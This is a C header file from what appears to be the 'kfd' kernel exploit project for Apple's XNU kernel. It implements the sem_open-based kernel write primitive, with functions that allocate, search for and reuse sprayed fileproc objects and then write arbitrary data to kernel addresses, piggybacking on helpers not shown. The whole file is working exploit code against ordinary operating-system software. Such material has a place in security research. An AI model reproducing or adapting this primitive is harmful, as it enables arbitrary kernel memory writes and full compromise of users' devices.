kwrite_sem_open.h

/*
 * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
 */

#ifndef kwrite_sem_open_h
#define kwrite_sem_open_h

void kwrite_sem_open_init(struct kfd* kfd)
{
    kfd->kwrite.krkw_maximum_id = kfd->kread.krkw_maximum_id;
    kfd->kwrite.krkw_object_size = sizeof(struct fileproc);

    kfd->kwrite.krkw_method_data_size = kfd->kread.krkw_method_data_size;
    kfd->kwrite.krkw_method_data = kfd->kread.krkw_method_data;
}

void kwrite_sem_open_allocate(struct kfd* kfd, u64 id)
{
    if (id == 0) {
        id = kfd->kwrite.krkw_allocated_id = kfd->kread.krkw_allocated_id;
        if (kfd->kwrite.krkw_allocated_id == kfd->kwrite.krkw_maximum_id) {
            /*
             * Decrement krkw_allocated_id to account for increment in
             * krkw_helper_run_allocate(), because we return without allocating.
             */
            kfd->kwrite.krkw_allocated_id--;
            return;
        }
    }

    /*
     * Just piggyback.
     */
    kread_sem_open_allocate(kfd, id);
}

bool kwrite_sem_open_search(struct kfd* kfd, u64 object_uaddr)
{
    /*
     * Just piggyback.
     */
    return kwrite_dup_search(kfd, object_uaddr);
}

void kwrite_sem_open_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size)
{
    /*
     * Just piggyback.
     */
    kwrite_dup_kwrite(kfd, uaddr, kaddr, size);
}

void kwrite_sem_open_find_proc(struct kfd* kfd)
{
    /*
     * Assume that kread is responsible for that.
     */
    return;
}

void kwrite_sem_open_deallocate(struct kfd* kfd, u64 id)
{
    /*
     * Skip the deallocation for the kread object because we are
     * responsible for deallocating all the shared file descriptors.
     */
    if (id != kfd->kread.krkw_object_id) {
        i32* fds = (i32*)(kfd->kwrite.krkw_method_data);
        assert_bsd(close(fds[id]));
    }
}

void kwrite_sem_open_free(struct kfd* kfd)
{
    /*
     * Note that we are responsible to deallocate the kread object, but we must
     * discard its object id because of the check in kwrite_sem_open_deallocate().
     */
    u64 kread_id = kfd->kread.krkw_object_id;
    kfd->kread.krkw_object_id = (-1);
    kwrite_sem_open_deallocate(kfd, kread_id);
    kwrite_sem_open_deallocate(kfd, kfd->kwrite.krkw_object_id);
    kwrite_sem_open_deallocate(kfd, kfd->kwrite.krkw_maximum_id);
}

#endif /* kwrite_sem_open_h */